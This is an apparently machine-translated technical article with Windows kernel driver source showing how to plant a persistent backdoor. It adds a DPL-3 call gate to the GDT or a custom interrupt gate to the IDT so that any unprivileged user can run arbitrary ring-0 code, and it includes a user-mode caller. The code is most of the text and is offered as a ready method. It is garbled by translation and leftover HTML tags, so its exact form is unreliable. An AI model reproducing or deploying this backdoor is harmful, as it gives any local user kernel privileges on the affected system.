As we all know, in non-admin user mode, the drive cannot be loaded to execute the Ring 0 code.
This article provides a method to add your own callgate and
Intgate sets a backdoor in the system. We can use this backdoor.
The Ring 0 code is executed in any user mode. To ensure that the callgate and int
The gate is permanent. You can use the Service API or inf file to set
Start the system. However, this method also has a defect, that is, the first installation of callgate or intgate
Admin permission is still required. The following describes how to add callgate and intgate respectively.
Code.
1. Implementation by adding a call gate
To allow any user to call our callgate, a small problem needs to be solved. Because
You need to know the selector of callgate before calling it. In addition
Gdt content cannot be accessed outside the base address and limit of gdt. I wanted
Save selector to the file at ring 0. It is read from ring 3 and then called.
After discussion with wowocock. The idea he proposed was to pass
Zwquerysysteminformation: Obtain the Module Base of NTDLL. dll and
Selector is available in PE Header. In this way, in any user mode of Ring 3
It is easy to get. Thank you for choosing wowocock. The following code is used to demonstrate
Conveniently, we use the selector of the first idle descriptor in gdt on our machine.
Driver:
/*************************************** * ************************ <Br/> File Name: wssaddcallgate. c <br/> Description: Add a call door <br/>: sinister <br/> *********************************** *****************************/</P> <p> # include "ntddk. H "<br/> # include" string. H "</P> <p> # ifndef DWORD <br/> # define DWORD unsigned int <br/> # endif </P> <p> # ifndef word <br/> # define word unsigned short <br/> # endif </P> <p> # d Efine loword (L) (unsigned short) (unsigned INT) (L) <br/> # define hiword (L) (unsigned short) (unsigned INT) (l)> 16) & 0 xFFFF) </P> <p> typedef unsigned long ulong; <br/> static ntstatus mydrvdispatch (in pdevice_object deviceobject, in pirp); <br/> void driverunload (in pdriver_object pdriverobject); </P> <p> # pragma pack (push, 1) </P> <p> typedef struct taggdtr {<br/> word wlimit; <br/> DWORD * Dwbase; <br/>}gdtr, * pgdtr; </P> <p> typedef struct taggdt_descriptor {<br/> unsigned limit: 16; <br/> unsigned baselo: 16; <br/> unsigned basemid: 8; <br/> unsigned type: 4; <br/> unsigned system: 1; <br/> unsigned DPL: 2; <br/> unsigned present: 1; <br/> unsigned limithi: 4; <br/> unsigned available: 1; <br/> unsigned zero: 1; <br/> unsigned size: 1; <br/> unsigned granularity: 1; <B R/> unsigned basehi: 8; <br/>}gdt_descriptor, * pgdt_descriptor; </P> <p> typedef struct tagcallgate_descriptor {<br/> unsigned short offset_0_15; <br/> unsigned short selector; <br/> unsigned char param_count: 4; <br/> unsigned char some_bits: 4; <br/> unsigned char type: 4; <br/> unsigned char app_system: 1; <br/> unsigned char DPL: 2; <br/> unsigned char present: 1; <br/> unsigned short o Ffset_16_31; <br/>} callgate_descriptor, * pcallgate_descriptor; </P> <p> # pragma pack (POP) </P> <p> void _ declspec (naked) ring0call () <br/>{< br/> physical_address phyadd; </P> <p> _ ASM {<br/> pushad <br/> pushfd <br/> CLI <br/>}</P> <p> dbuplint ("WSS-My callgate/N "); </P> <p> // <br/> // Add the Ring 0 code you want to execute. <Br/> // </P> <p> _ ASM {<br/> popfd <br/> popad <br/> retf <br/>}< br/ >}</P> <p> void addcallgate (ulong funcaddr) <br/>{< br/> GDTR; <br/> pgdt_descriptor gdt; <br/> pcallgate_descriptor callgate; <br/> word wgdtindex = 1; </P> <p> _ ASM {<br/> sgdt GDTR // obtain the gdt base address and boundary <br/>}</P> <p> gdt = (pgdt_descriptor) (GDTR. dwbase + 8); // skip null Selection Sub-</P> <p> while (wgdtindex <(GDTR. wlimit/8) <B R/>{< br/> If (gdt-> present = 0) // find the empty descriptor from gdt <br/>{< br/> callgate = (pcallgate_descriptor) gdt; </P> <p> callgate-> offset_0_15 = loword (funcaddr); <br/> callgate-> selector = 8; // Select Sub-kernel segments <br/> callgate-> param_count = 0; // Number of parameter copies <br/> callgate-> some_bits = 0; <br/> callgate-> type = 0xc; // 386 call gate <br/> callgate-> app_system = 0; // system descriptor <br/> callgate-> DPL = 3; // ring 3 callable <br/> callgat E-> present = 1; // set the existence bit <br/> callgate-> offset_16_31 = hiword (funcaddr); <br/> dbuplint ("add callgate/N "); </P> <p> return; <br/>}</P> <p> gdt ++; <br/> wgdtindex ++; <br/>}</P> <p> // driver entry <br/> ntstatus DriverEntry (in pdriver_object driverobject, in punicode_string registrypath) <br/>{</P> <p> unicode_string namestring, linkstring; <br/> pdevice_object deviceobject; <br/> ntstatus stat US; <br/> handle hhandle; <br/> int I; </P> <p> // uninstall the driver <br/> driverobject-> driverunload = driverunload; </P> <p> // create a device <br/> rtlinitunicodestring (& namestring, l "// device // wssaddcallgate "); </P> <p> Status = iocreatedevice (driverobject, <br/> 0, <br/> & namestring, <br/> file_device_unknown, <br/> 0, <br/> true, <br/> & deviceobject <br/>); </P> <p> If (! Nt_success (Status) <br/> return status; </P> <p> rtlinitunicodestring (& linkstring, l "// dosdevices // wssaddcallgate "); </P> <p> Status = iocreatesymboliclink (& linkstring, & namestring); </P> <p> If (! Nt_success (Status) <br/>{< br/> iodeletedevice (driverobject-> deviceobject); <br/> return status; <br/>}</P> <p> addcallgate (ulong) ring0call); </P> <p> for (I = 0; I <irp_mj_maximum_function; I ++) {</P> <p> driverobject-> majorfunction [I] = mydrvdispatch; <br/>}</P> <p> driverobject-> driverunload = driverunload; </P> <p> return STATUS_SUCCESS; <br/>}</P> <p> // process device object Operations </P> <p> static ntstatus mydrvdispatch (in pdevice_object deviceobject, in pirp) <br/>{< br/> IRP-> iostatus. status = STATUS_SUCCESS; <br/> IRP-> iostatus. information = 0l; <br/> iocompleterequest (IRP, 0); <br/> return IRP-> iostatus. status; </P> <p >}</P> <p> void driverunload (in pdriver_object pdriverobject) <br/>{< br/> unicode_string namestring; </P> <p> rtlinitunicodestring (& namestring, l "// dosdevices // wssaddcallgate"); <br/> iodeletesymboliclink (& namestring ); <br/> iodeletedevice (pdriverobject-> deviceobject); </P> <p> return; <br/>}</P> <p> application: </P> <p> # include <windows. h> <br/> # include <stdio. h> </P> <p> void main () <br/> {<br/> word farcall [3]; </P> <p> farcall [0] = 0x0; <br/> farcall [1] = 0x0; <br/> farcall [2] = 0x4b; // on my machine, add the callgate selector 4bh </P> <p> _ ASM call fword PTR [farcall] </P> <p>}
2. Implemented by adding an interrupt Gate
There is no problem to solve when you add an interrupt gate. Use int x directly in Ring 3
Switch. Think about the system call int 2E, which is easy to understand.
/*************************************** * ************************ <Br/> File Name: wssmyint. c <br/> Description: add an interrupt door <br/>: sinister <br/> *********************************** *****************************/</P> <p> # include "ntddk. H "</P> <p> # pragma pack (1) </P> <p> typedef struct tagidtr {<br/> short limit; <br/> unsigned int base; <br/>} idtr, * pidtr; </P> <p> typedef struct tagidtentry {<br/> unsigned shor T offsetlow; <br/> unsigned short selector; <br/> unsigned char reserved; <br/> unsigned char type: 4; <br/> unsigned char always0: 1; <br/> unsigned char DPL: 2; <br/> unsigned char present: 1; <br/> unsigned short offsethigh; <br/>} idtentry, * pidtentry; </P> <p> # pragma pack () </P> <p> # define Myint 0x76 </P> <p> extern void _ cdecl myintfunc (); <br/> char idtbuffer [6]; </P> <p> idtentry oldidt; <br/> pidt R idtr = (pidtr) idtbuffer; </P> <p> static ntstatus mydrvdispatch (in pdevice_object deviceobject, in piririrp); <br/> void driverunload (in pdriver_object pdriverobject ); </P> <p> // interrupt handler </P> <p> void _ cdecl myintfunc () <br/>{< br/> physical_address phyadd; <br/> unsigned int dwcallnum; <br/> unsigned int dwvaddr; </P> <p> _ ASM mov dwcallnum, eax </P> <p> // <br/> // Add the Ring 0 code you want to execute. <br/> // </ P> <p> switch (dwcallnum) <br/>{< br/> case 0x01: <br/> dbuplint ("myintgate eax = 0x01/N"); <br/> break; </P> <p> case 0x02: <br/> dbuplint ("myintgate eax = 0x02/N"); <br/> break; </P> <p> default: break; </P> <p >}</P> <p> _ ASM iretd; // returns an interrupt <br/>}</P> <p> ntstatus addmyint () <br/>{< br/> pidtentry IDT; </P> <p> // obtain the CIDR Block and base address of idtr. <br/> _ ASM sidt idtbuffer </P> <p> IDT = (pidtentry) idtr-> base; // obtain the IDT Table Base. Address </P> <p> // Save the original IDT <br/> rtlcopymemory (& oldidt, & IDT [Myint], sizeof (oldidt )); </P> <p> // disable interrupt <br/> _ asm cli </P> <p> // set the IDT table items to be interrupted. </P> <p> IDT [Myint]. offsetlow = (unsigned short) myintfunc; // The 16-bit low interrupt handler <br/> IDT [Myint]. selector = 8; // set the kernel segment Selection Sub <br/> IDT [Myint]. reserved = 0; // reserved by the System <br/> IDT [Myint]. type = 0xe; // set 0xe to indicate that the door is interrupted <br/> IDT [Myint]. always0 = 0; // The system reserved value must be 0 <br/> IDT [Myint]. DPL = 3; // description Permission, set to allow ring 3 process calls <br/> IDT [Myint]. present = 1; // The existence bit is set to 1 to indicate valid <br/> IDT [Myint]. offsethigh = (unsigned short) (unsigned INT) myintfunc> 16 ); // The interrupt processing function is 16 bits in height. </P> <p> // start interrupt <br/> _ asm sti </P> <p> return STATUS_SUCCESS; <br/>}</P> <p> // Delete the interrupt </P> <p> void removemyint () <br/>{< br/> pidtentry IDT; <br/> IDT = (pidtentry) idtr-> base; </P> <p> _ asm cli <br/> // restore IDT <br/> rtlcopymemory (& IDT [Myint], & oldidt, Sizeof (oldidt); <br/> _ asm sti <br/>}</P> <p> // driver entry <br/> ntstatus DriverEntry (in pdriver_object driverobject, in punicode_string registrypath) <br/>{</P> <p> unicode_string namestring, linkstring; <br/> // unicode_string devicestring; <br/> pdevice_object deviceobject; <br/> ntstatus status; <br/> wchar wbuffer [200]; </P> <p> namestring. buffer = wbuffer; <br/> namestring. maximumlength = 200; </P> <p> // uninstall the driver <br/> driverobject-> driverunload = driverunload; </P> <p> // create a device <br/> rtlinitunicodestring (& namestring, l "// device // wssint "); </P> <p> Status = iocreatedevice (driverobject, <br/> 0, <br/> & namestring, <br/> file_device_unknown, <br/> 0, <br/> true, <br/> & deviceobject <br/>); </P> <p> If (! Nt_success (Status) <br/> return status; </P> <p> rtlinitunicodestring (& linkstring, l "//?? // Wssint "); </P> <p> // make the Win32 application visible <br/> Status = iocreatesymboliclink (& linkstring, & namestring ); </P> <p> If (! Nt_success (Status) <br/>{< br/> iodeletedevice (driverobject-> deviceobject); <br/> return status; <br/>}</P> <p> addmyint (); </P> <p> driverobject-> majorfunction [irp_mj_create] = mydrvdispatch; <br/> driverobject-> majorfunction [irp_mj_close] = mydrvdispatch; </P> <p> return STATUS_SUCCESS; <br/>}</P> <p> static ntstatus mydrvdispatch (in pdevice_object deviceobject, in pirp IRP) <br/>{< br/> ntstatus status; </P> <p> unreferenced_parameter (deviceobject); </P> <p> IRP-> iostatus. status = STATUS_SUCCESS; <br/> IRP-> iostatus. information = 0l; <br/> Status = STATUS_SUCCESS; </P> <p> iocompleterequest (IRP, 0); <br/> return status; </P> <p >}</P> <p> void driverunload (in pdriver_object pdriverobject) <br/>{< br/> unicode_string namestring; <br/> unicode_string devicestring, drivestring; <br/> ntstatus; </P> <p> removemyint (); </P> <p> // Delete Win32 visibility <br/> iodeletesymboliclink (& namestring ); <br/> // delete a device <br/> iodeletedevice (pdriverobject-> deviceobject); </P> <p> return; <br/>}